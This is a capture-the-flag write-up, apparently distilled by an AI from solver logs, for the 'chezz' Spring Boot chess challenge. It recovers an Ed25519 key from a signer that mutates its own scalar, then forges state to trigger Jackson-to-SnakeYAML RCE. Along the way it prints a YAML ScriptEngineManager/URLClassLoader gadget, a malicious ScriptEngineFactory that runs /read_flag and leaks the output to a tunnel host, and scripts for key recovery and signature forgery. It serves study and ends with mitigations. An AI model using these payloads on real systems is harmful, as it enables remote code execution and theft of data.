Skip to content

Instantly share code, notes, and snippets.

@nnamon
Last active May 14, 2026 15:50
Show Gist options
  • Select an option

  • Save nnamon/dda8e2dda811a10edb6265ea14677985 to your computer and use it in GitHub Desktop.

Select an option

Save nnamon/dda8e2dda811a10edb6265ea14677985 to your computer and use it in GitHub Desktop.
chezz — TISC DC 26 final, web/pwn (Java) - AI distilled from https://llm-logs-viewer.vercel.app/

chezz — Web / Pwn (Java)

TISCDCSG{w4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3?}

TL;DR

  • chezz is a Spring Boot chess game that signs every game state with Ed25519 and rejects any unsigned mutation. The signer is intentionally broken: after every call, Signer.signBytes overwrites its own private scalar with the second half of the signature it just emitted (§3). Sign the same message twice and the math recovers the original signing scalar in closed form (§4).
  • Producing two signatures over the same message requires reaching POST /api/game/subscribe, which is gated by three consecutive checkmate wins, the third forced into the Bongcloud opening (e2e4, e1e2). Stockfish steers games 1 and 2 onto the same mate FEN, so the savefile loop signs that FEN twice with mutated scalars — exactly the oracle the recovery needs (§5).
  • The challenge ships a custom OpenJDK 25 ("ChezzJDK Funtime Environment") that strips every safety check out of TemplatesImpl and promotes Runtime.exec(String,String[]) to a static method. Both are red herrings: every classic ysoserial-style chain that touches those primitives ends up blocked or unreachable from plain Jackson deserialization (§6).
  • The real RCE gadget is non-JNDI: org.springframework.beans.factory.config.YamlMapFactoryBean with singleton=false. Jackson populates the bean's setters from JSON; when the response state is re-serialized, Jackson calls getObject(); YamlMapFactoryBean.createMap() fetches attacker-controlled YAML over HTTP and asks SnakeYAML to parse it under a whitelist we also control via supportedTypes (§7).
  • The YAML body uses the textbook SnakeYAML construction chain !!javax.script.ScriptEngineManager [[!!java.net.URLClassLoader [[!!java.net.URL ["…"]]]]]. ScriptEngineManager(URLClassLoader) runs ServiceLoader<ScriptEngineFactory> against the attacker JAR, instantiates poc.EvilFactory, which executes /read_flag in its constructor and HTTP-leaks the output back over the same tunnel (§8).
  • The single forged POST /api/game/move request carries the YAML gadget in settings.probe, signed under the recovered scalar. The flag arrives as a query parameter on the HTTP server log (§9).

The flag string spells the lesson: this was solved end-to-end with bog-standard Spring/SnakeYAML primitives, not with any of the redstone-looking JDK plumbing the challenge ostentatiously broke.

1. Architecture

The challenge ships a single Spring Boot fat-jar plus a custom OpenJDK 25 build. Three routes are exposed:

Method Path Purpose
POST /api/game/new Start a new game; optionally chains to a prior signed mated state via previousState / previousSignature. Returns {state, signature, publicKey}.
POST /api/game/move Apply a move to a signed state. Verifies the signature, deserializes the state, asks the engine for a reply, returns a freshly signed next state.
POST /api/game/subscribe Walks the previousGame chain, verifies every link is a white-checkmate state, requires ≥3 wins, then re-signs every FEN in the chain and returns them as a savefile.

The third game in the chain is constrained by GameService.makeMove to play e2e4, e1e2 (the Bongcloud opening). Beyond that the engine is just chesslib driven by an external HTTP service (CHESS_ENGINE_URL); on the deployed target this is the in-pod http://127.0.0.1:5000 that the public app speaks to but never exposes. Nothing else of note is reachable.

The unpacked archive lives under /workspace/artifacts/unpack/chezz/chezz/. The patch at patches/001-chezzjdk.patch is what builds the custom JDK; the public host is http://chals.tisc-dc26.csit-events.sg:15623.

2. The polymorphic deserialiser

The whole exploit surface flows through one Spring service:

// src/main/java/com/chezz/service/StateSerializer.java
public StateSerializer() {
    this.stateMapper = new ObjectMapper();
    BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
            .allowIfBaseType(Object.class)
            .build();
    this.stateMapper.activateDefaultTyping(
            ptv,
            ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE,
            JsonTypeInfo.As.PROPERTY);
    // ...
}

Translation: any field whose declared type is Object (or non-concrete) accepts a @class discriminator nominating any concrete class on the classpath. GameState.settings is exactly such a field — a HashMap<String, Object> — so the polymorphic slot is wide open. The bound is only "must be a subtype of Object", which is nothing.

This would be a textbook Jackson RCE the moment we control the input… except every input is signature-verified before it reaches stateMapper.readValue. So the prerequisite for everything else is breaking the signer.

3. The signer

// src/main/java/com/chezz/service/Signer.java  (abridged)
public final class Signer {
    private final EdDSAParameterSpec p;
    private final GroupElement A;
    private final EdDSAPublicKey pub;
    private final byte[] x = new byte[64];          // [a (32) | h[32..64] (32)]

    Signer(EdDSAParameterSpec p, GroupElement A, EdDSAPublicKey pub, byte[] h, byte[] a) {
        System.arraycopy(a, 0, x, 0, 32);
        System.arraycopy(h, 32, x, 32, 32);
    }

    public byte[] signBytes(byte[] m) {
        var b  = ByteBuffer.wrap(x);
        var aV = b.duplicate(); aV.position(0);
        var hV = b.duplicate(); hV.position(32);

        byte[] a = new byte[32], h = new byte[64];
        aV.get(a);
        hV.get(h, 32, 32);

        var sk  = new EdDSAPrivateKey(new EdDSAPrivateKeySpec(null, h, a, A, p));
        var e   = new EdDSAEngine(MessageDigest.getInstance("SHA-512"));
        e.initSign(sk); e.update(m);
        byte[] sig = e.sign();

        var w = b.duplicate(); w.position(0);
        w.put(sig, 32, 32);                          // <-- THE BUG
        return sig;
    }
}

signBytes reads its 32-byte scalar from x[0..32], signs, then writes the lower half of the signature back into x[0..32]. The Ed25519 signature is the pair (R, S) where S = r + k·a mod L; sig[32..64] is S as a 32-byte little-endian integer. Every subsequent call uses a scalar derived directly from the previous signature.

Critically, h[32..64] — the half used to derive the per-message nonce r = H(h_prefix ‖ m) — is not touched. So if we get the same Signer instance to sign the same message twice, both calls produce the same r, hence the same R, hence the same k = H(R ‖ A ‖ m). The only thing that differs between the two signatures is the scalar.

This is exactly the shape of an Ed25519 nonce-reuse equation, only here the "second key" is not random — it is the first signature itself.

4. Closed-form key recovery

Let m be the repeated message, a₁ the original scalar, a₂ = S₁ (interpreted as scalar) the post-mutation scalar, r = H(h_prefix ‖ m), k = H(R ‖ A ‖ m). Both signatures share R. Then:

S₁ = r + k · a₁    (mod L)
S₂ = r + k · a₂  =  r + k · S₁    (mod L)

Two equations, two unknowns. Subtract:

r  = (S₂ − k·S₁)  mod L
a₁ = (S₁ − r) · k⁻¹  mod L

The recovery is one line of Python:

import base64, hashlib, json, urllib.request
L = 2**252 + 27742317777372353535851937790883648493

def b64sig(s):
    raw = base64.b64decode(s)
    return raw[:32], int.from_bytes(raw[32:], 'little')

def Hint(R, A, m):
    return int.from_bytes(hashlib.sha512(R + A + m).digest(), 'little') % L

sf  = json.load(open('savefile.json'))
f1, s1 = sf['fens'][0].rsplit(':', 1)
f2, s2 = sf['fens'][1].rsplit(':', 1)
assert f1 == f2
A   = bytes.fromhex(json.load(urllib.request.urlopen(
        'http://chals.tisc-dc26.csit-events.sg:15623/api/game/new',
        b'{}'))['publicKey'])
R1, S1 = b64sig(s1)
R2, S2 = b64sig(s2)
assert R1 == R2
k   = Hint(R1, A, f1.encode())
r   = (S2 - k*S1) % L
a   = ((S1 - r) * pow(k, -1, L)) % L
print('a   =', a)
print('pub =', A.hex())

Recovered material from the live service:

a   = 1925433995194954513162264910796210310098568187925813981828726710019143876820
pub = df89f1669c5dfbd9b06968f3d6d7d51bcddf09e3e98ac6744dadc45cafca366f

a is the unclamped Ed25519 scalar. From here, signing any state we like is one crypto_scalarmult_ed25519_base_noclamp and one SHA-512 away.

5. Producing the oracle

The only entry point that hands out two signatures over the same input is generateSavefile:

// GameService.generateSavefile  (abridged)
Signer signer = signingService.createSigner();
if (!signer.verify(stateJson, signature)) throw ...;

// walk the previousGame chain, collect FENs
List<String> fens = ...;
if (fens.size() < 3) throw new IllegalArgumentException("At least 3 wins required");
Collections.reverse(fens);

List<String> entries = new ArrayList<>();
for (String fen : fens) {
    String fenSig = signer.sign(fen);                 // <-- reuses same Signer
    entries.add(fen + ":" + fenSig);
}

The loop calls signer.sign(fen) once per game on a single Signer instance, so the mutation in §3 fires between calls. To turn this into a "sign the same message twice" oracle, games 1 and 2 must end on the same FEN — that means the same mate position from the same starting board.

Stockfish handles this trivially. The local harness play_three.py runs three games against the deployed /api/game/move, replaying a recorded mating line for games 1 and 2 (so the FEN at the moment of checkmate is byte-identical) and computing a fresh mate for game 3 from the Bongcloud-constrained start. The chain is then submitted to /api/game/subscribe, which returns:

{"fens": [
  "FEN_MATE_1:<sig over FEN_MATE_1, using a₁>",
  "FEN_MATE_1:<sig over FEN_MATE_1, using a₂=S₁>",
  "FEN_MATE_3:<sig over FEN_MATE_3, using a₃=S₂>"
]}

Verifying these against the public key:

entry verifies?
1 yes
2 no
3 no

The "broken" signatures are exactly the leak. Plug entries 1 and 2 into §4 and we have a₁.

6. False starts

Reading the JDK patch first makes you reach for all the wrong gadgets. The patch (patches/001-chezzjdk.patch) does three things:

  1. Strips every protection out of com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl. Protected gadget methods are replaced with throw new UnsupportedOperationException(). The class is still on the classpath, but using it crashes immediately — the chain is dead, not enabled.
  2. Promotes Runtime.exec(String, String[]) to a static method, removing the need for a Runtime instance. This is real, but reaching it from pure Jackson deserialization still requires a getter or setter chain that ends up calling exec, which the classpath does not obviously expose.
  3. Re-brands as "ChezzJDK Funtime Environment". Cosmetic.

Routes attempted and abandoned, with their reason for death:

  • TemplatesImpl direct chain. Bricked by the patch itself; defineTransletClasses throws UnsupportedOperationException. The protections look "removed", but the methods needed to drive the chain are removed with them.
  • java.beans.Expression / Statement. Triggers on serialization on stock JDK 17, but Jackson deserialization of Expression needs java.desktop/java.beans to be open — IllegalAccessException in our local repro. The custom JDK 25 doesn't change that.
  • UrlResource(file:...). Works as an arbitrary file-read (getInputStream/getContentAsString) via EncodedResource. /read_flag is owned root:flag with mode 2750 (SGID), so a read doesn't help; we need execution. Also the same getter walks getURL/getFile, and HTTP URLs throw on the file getter before serialization completes, killing the HTTP variant.
  • MethodInvokingBean / MethodInvokingFactoryBean. Both require prepare() to have been called, and prepare() only runs in afterPropertiesSet() — Spring lifecycle, not Jackson. Confirmed locally: Jackson hits MethodInvokingFactoryBean[\"object\"] and throws FactoryBeanNotInitializedException long before any invocation happens.
  • Tomcat / SimpleJndiBeanFactory JNDI composition. A nested ObjectFactoryCreatingFactoryBean → StaticListableBeanFactory → SimpleJndiBeanFactory chain does perform a Context.lookup from a single Jackson getter walk. The local repro hits an LDAP listener cleanly. But the standard LdapAttribute → BeanFactory JNDI Reference path needs either BeanFactory (com.sun.jndi.ldap.LdapAttribute reference factory) chained to a class fetch via a remote codebase — and the runtime classpath does not include the required Tomcat BeanFactory. Killed pre-flight.
  • wins-dependent engine quirks. Internal GET /health is the only thing the hidden engine answers; wins=0..2000 brute force returned the same e7e5 from the start position. No hidden branch.

None of the above use Runtime.exec. That's the giveaway: the JDK patch is a distraction, not the bridge. The intended chain doesn't dereference Runtime at all — it loads a JAR and lets the JVM run a fresh class's constructor for us.

7. The gadget: YamlMapFactoryBean

The one Spring class on the chezz classpath that turns plain-Jackson population into network-fetching action during ordinary getter walking is org.springframework.beans.factory.config.YamlMapFactoryBean:

// spring-beans 6.2.16
public class YamlMapFactoryBean extends YamlProcessor implements FactoryBean<Map<String,Object>>, InitializingBean {

    private boolean singleton = true;
    private @Nullable Map<String,Object> map;

    public void setSingleton(boolean singleton) { this.singleton = singleton; }

    public void afterPropertiesSet() {
        if (isSingleton()) this.map = createMap();
    }

    public Map<String,Object> getObject() {
        return (this.map != null ? this.map : createMap());
    }

    protected Map<String,Object> createMap() {
        Map<String,Object> result = new LinkedHashMap<>();
        process((properties, map) -> result.putAll(map));
        return result;
    }
}

The relevant properties — resources, supportedTypes, singleton — are all bog-standard JavaBean setters inherited from YamlProcessor, so Jackson populates them happily through OBJECT_AND_NON_CONCRETE typing. With singleton=false, afterPropertiesSet() is a no-op (which is fine — Jackson never calls it), and the first invocation of the bean's getObject() getter triggers createMap(), which:

  1. Pulls each org.springframework.core.io.UrlResource out of resources, opens an HTTP connection, reads the YAML body.
  2. Hands the body to a SnakeYAML Yaml instance constructed with our supportedTypes whitelist.
  3. SnakeYAML's SafeConstructor is overridden to allow any class named in supportedTypes. We get to set that list.

So we control three knobs:

  • resources — an attacker-hosted HTTPS URL, expressed as a wrapper-array because of polymorphic typing: [["org.springframework.core.io.UrlResource", "https://attacker/payload.yaml"]]
  • supportedTypes — the SnakeYAML whitelist. We populate it with the classes used by the SnakeYAML deserialization chain: ["javax.script.ScriptEngineManager", "java.net.URLClassLoader", "java.net.URL"]
  • singleton — set to false so creation is lazy and runs through getObject() rather than failing in init.

What does Jackson actually do with this during a POST /api/game/move? MoveController returns the next signed state, and StateSerializer.serialize(gameState) calls writeValueAsString, which walks every getter on gameState.settings's values. Walking our YamlMapFactoryBean's object getter (FactoryBean.getObject()) is what fires the chain. We don't even need a special trigger endpoint — every /api/game/move response re-serialises the state.

The bean trigger is the first half. The second half is what the YAML actually says.

8. The SnakeYAML payload

This is the classic SnakeYAML constructor chain, re-enabled because we got to whitelist its classes ourselves:

trigger: !!javax.script.ScriptEngineManager
  - !!java.net.URLClassLoader
    - - !!java.net.URL
          - "https://yrldq-46-101-103-242.a.free.pinggy.link/provider/build/jar/evil-engine.jar"

What SnakeYAML does with that, in order:

  1. Construct a java.net.URL("https://…/evil-engine.jar").
  2. Construct java.net.URLClassLoader(new URL[]{ that }).
  3. Construct javax.script.ScriptEngineManager(URLClassLoader). Its constructor runs ServiceLoader.load(ScriptEngineFactory.class, classLoader) against our class loader, which fetches our JAR over HTTPS and inspects META-INF/services/javax.script.ScriptEngineFactory.

Our JAR ships exactly that service descriptor pointing at poc.EvilFactory. ServiceLoader instantiates the class, and the constructor body of poc.EvilFactory is where the RCE actually happens:

// artifacts/repros/yaml-rce/provider/src/poc/EvilFactory.java
package poc;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.List;

public class EvilFactory implements ScriptEngineFactory {
    public EvilFactory() {
        try {
            String value = runFlagReader();
            callbackOrMark(value);
        } catch (IOException e) { throw new RuntimeException(e); }
    }

    private static String runFlagReader() throws IOException {
        Path bin = Path.of("/read_flag");
        if (!Files.isExecutable(bin)) return "loaded";
        Process p = new ProcessBuilder(bin.toString()).start();
        try (BufferedReader br = new BufferedReader(
                new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8))) {
            String line = br.readLine();
            return line == null ? "empty" : line.trim();
        }
    }

    private static void callbackOrMark(String value) throws IOException {
        URI src = URI.create(EvilFactory.class.getProtectionDomain()
                .getCodeSource().getLocation().toString());
        if ("http".equalsIgnoreCase(src.getScheme())
                || "https".equalsIgnoreCase(src.getScheme())) {
            String base = src.toString();
            base = base.substring(0, base.lastIndexOf('/'));
            String leak = base + "/leak?d="
                + URLEncoder.encode(value, StandardCharsets.UTF_8);
            HttpURLConnection c =
                (HttpURLConnection) URI.create(leak).toURL().openConnection();
            c.setConnectTimeout(5000); c.setReadTimeout(5000);
            c.getResponseCode(); c.disconnect();
            return;
        }
        Files.writeString(Path.of("/tmp/yaml-script-engine-marker"), value + "\n");
    }

    // ... ScriptEngineFactory stubs (return "evil", null, etc.)
}

Two niceties about doing the work in the constructor:

  • ServiceLoader instantiates every listed factory before deciding which engine to use, so our constructor runs unconditionally — even though it never returns a usable engine and ScriptEngineManager.getEngineByName(...) is never called.
  • We learn our own delivery URL from ProtectionDomain.getCodeSource() and derive the callback URL from it, so the exact pinggy hostname is not baked in.

Build the provider JAR:

javac -d build/classes src/poc/EvilFactory.java
cp -r src/META-INF build/classes/
jar cf build/jar/evil-engine.jar -C build/classes .

9. End-to-end exploit

Stage the YAML and JAR on a local HTTP server and expose it via a Pinggy reverse-SSH tunnel:

python3 -m http.server 8000 &
ssh -p 443 -o StrictHostKeyChecking=no -o ServerAliveInterval=30 \
    -R0:localhost:8000 a.pinggy.io
# -> https://yrldq-46-101-103-242.a.free.pinggy.link

Build the settings.probe payload as a polymorphic JSON object:

import json
SETTINGS = {
  "probe": {
    "@class": "org.springframework.beans.factory.config.YamlMapFactoryBean",
    "singleton": False,
    "resources": [[
      "org.springframework.core.io.UrlResource",
      "https://yrldq-46-101-103-242.a.free.pinggy.link/payload-remote.yaml"
    ]],
    "supportedTypes": [
      "javax.script.ScriptEngineManager",
      "java.net.URLClassLoader",
      "java.net.URL"
    ]
  }
}
print(json.dumps(SETTINGS, separators=(',', ':')))

Wrap that as a GameState, sign it with the recovered scalar, and POST to /api/game/move. The signer driver uses pynacl's crypto_scalarmult_ed25519_base_noclamp on the recovered a to compute A (matches the published public key), then signs state exactly as the server's EdDSAEngine does:

# forge_move.py  (sketch)
import base64, hashlib, json, os, requests
from nacl.bindings import crypto_scalarmult_ed25519_base_noclamp
L = 2**252 + 27742317777372353535851937790883648493
H = lambda b: hashlib.sha512(b).digest()

def sign(msg: bytes, a: int, A: bytes):
    r = int.from_bytes(os.urandom(64), 'little') % L
    R = crypto_scalarmult_ed25519_base_noclamp(r.to_bytes(32, 'little'))
    k = int.from_bytes(H(R + A + msg), 'little') % L
    S = (r + k * a) % L
    return R + S.to_bytes(32, 'little')

state = json.dumps({
    "fen": "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1",
    "settings": SETTINGS,
}, separators=(',', ':'))
sig = base64.b64encode(sign(state.encode(), A_INT, A_BYTES)).decode()

r = requests.post(
    "http://chals.tisc-dc26.csit-events.sg:15623/api/game/move",
    json={"state": state, "signature": sig, "move": "e2e4"})
print(r.status_code, r.text[:200])

The HTTP server log captures the full chain on the wire:

127.0.0.1 - - [27/Mar/2026 20:24:01] "GET /payload-remote.yaml HTTP/1.1" 200 -
127.0.0.1 - - [27/Mar/2026 20:24:01] "GET /provider/build/jar/evil-engine.jar HTTP/1.1" 200 -
127.0.0.1 - - [27/Mar/2026 20:24:02] "GET /leak?d=TISCDCSG%7Bw4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3%3F%7D HTTP/1.1" 200 -

URL-decoded:

TISCDCSG{w4s_th15_m0r3_c0mpl3x_th4n_r3dst0n3?}

10. Why each piece is necessary

  • The Stockfish 3-win chain with games 1 and 2 mating on the same FEN. Without two signatures over the same message there is no shared R, no shared k, no algebra. A naive 3-win chain with three different mating positions yields three signatures over three different messages and leaks nothing.
  • singleton=false on the YamlMapFactoryBean. With singleton=true, afterPropertiesSet() (which Jackson never calls) is the only entry to createMap()getObject() returns the cached map field, which is null, and Jackson serialises that as a JSON null. Setting singleton=false makes every getObject() call re-run the YAML fetch, which is what the serializer reaches naturally.
  • UrlResource wrapped as a polymorphic Resource element. YamlProcessor accepts Resource[]; Jackson populates it via default typing if and only if each element ships its own @class. The list-of-[type, url] pairs is the Jackson polymorphic-array notation; a flat string fails.
  • supportedTypes listing all three SnakeYAML targets. SnakeYAML uses a strict per-tag whitelist by default; without ScriptEngineManager, URLClassLoader, and URL in the list, every !! tag in the YAML throws. The Spring author exposed this knob explicitly to support typed YAML, and it doubles as a SnakeYAML-deserialisation enabler when the deserialiser is attacker-controlled.
  • The provider JAR's META-INF/services/javax.script.ScriptEngineFactory. ScriptEngineManager's constructor iterates via ServiceLoader<ScriptEngineFactory>, which is the only path that instantiates classes from the loaded JAR without us already having a reference. A naive JAR without that service file loads but never runs anything in the constructor.
  • Constructor side-effects, not engine methods. ServiceLoader instantiates every listed factory; nothing else in the chain ever calls our engine. Putting the RCE in EvilFactory.<init> is the only thing that fires.
  • Pinggy (or any public HTTP host). URLClassLoader requires a fetchable URL; the in-pod app has outbound HTTPS but the challenge VM has no direct path to our laptop. A reverse SSH tunnel via a.pinggy.io is the easiest plumbing.

11. Methodology / lessons

  1. A signer that mutates its own private state between calls is a 100% nonce-reuse bug in disguise. Any time you see a hand-rolled signing wrapper that writes back into its own scalar buffer (w.put(sig, 32, 32)), look for an oracle that signs the same message twice on one instance. The recovery is two lines of Python and one modular inverse.
  2. An ostentatious JDK patch is more often a red herring than a clue. The patch advertises Runtime.exec and TemplatesImpl so loudly that you waste hours hunting chains that touch those classes. The real chain here doesn't dereference either of them. Read the patch, note what it makes possible, and then look elsewhere — the obvious primitives are usually planted.
  3. Jackson default typing with allowIfBaseType(Object.class) is functionally enableDefaultTyping(). It is the exact same hazard. Any "polymorphic type validator" whose allowed-base-type is Object provides zero protection.
  4. For Jackson-only gadget hunting, prefer beans whose getObject() (or any property getter) does network I/O. Spring's FactoryBean family is full of these; YamlMapFactoryBean and YamlPropertiesFactoryBean are textbook because they pair a network read with a configurable deserialiser. MethodInvokingFactoryBean looks useful but needs prepare(), which only fires in afterPropertiesSet(). The distinction between "executes on Spring lifecycle" and "executes on plain getter call" is the one that matters.
  5. SnakeYAML's supportedTypes knob is a deserialisation enabler when an attacker controls it. Any Spring component that exposes both a Resource-loading mechanism and a SnakeYAML tag whitelist is a candidate gadget. The chain ScriptEngineManager(URLClassLoader(URL)) is the well-known constructor sequence — it exists precisely because of ServiceLoader-driven side effects in the ScriptEngineManager constructor.
  6. Constructor side-effects beat method-call side-effects in JDK gadget chains. A ServiceLoader-driven instantiation gives you a constructor; you don't need a method invocation on the loaded object. This is why ScriptEngineManager remains a perennial gadget despite years of patching elsewhere.
  7. In a multi-stage CTF, count the primitives, not the moves. chezz had two: (a) signature forgery via repeated-message key recovery, (b) Jackson-driven YamlMapFactoryBean → SnakeYAML → JAR load. Every other distraction (TemplatesImpl patch, static Runtime.exec, hidden engine on :5000, three-win chain, Bongcloud constraint, UrlResource file-read) is in service of getting those two primitives lined up.

12. Notes

  • Deployment artefact paths. The published challenge tar is chezz-6bd8b4360941dbb38f494d5578f44bae.tar.gz. The signed Signer class, StateSerializer, and GameService discussed above sit under chezz/src/main/java/com/chezz/service/. The patch is chezz/patches/001-chezzjdk.patch. The Spring-Boot dependency tree resolves to Spring Framework 6.2.16, Spring Boot 3.5.11.
  • Why the third game is forced into the Bongcloud. GameService.makeMove requires e2e4, e1e2 once the chain length reaches 3. We assumed for a long time this was a hint at "make Karpov cry", but it has no exploitation relevance — it's just there to make game 3 harder than 1 and 2, which by themselves are trivially winnable with Stockfish.
  • Engine on :5000. The pod's CHESS_ENGINE_URL=http://127.0.0.1:5000 exposed only GET /health to enumeration. Spending effort here is wasted: the engine has no exploit surface beyond returning moves. The signed-state forgery already gives us internal GET SSRF through UrlResource, but no POST or RCE path through the engine.
  • Mitigation suggestions (for the challenge author). (a) Construct a fresh Signer per call in generateSavefile, or use a non-mutating wrapper — the bug is a one-line scope error. (b) Replace allowIfBaseType(Object.class) with a real allow-list of model classes; default typing with Object as base is equivalent to having no validator at all. (c) Disable supportedTypes settability on YamlMapFactoryBean via a @JsonIgnore or a custom deserialiser; in fact, no Spring FactoryBean should be reachable through application-level polymorphic typing.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment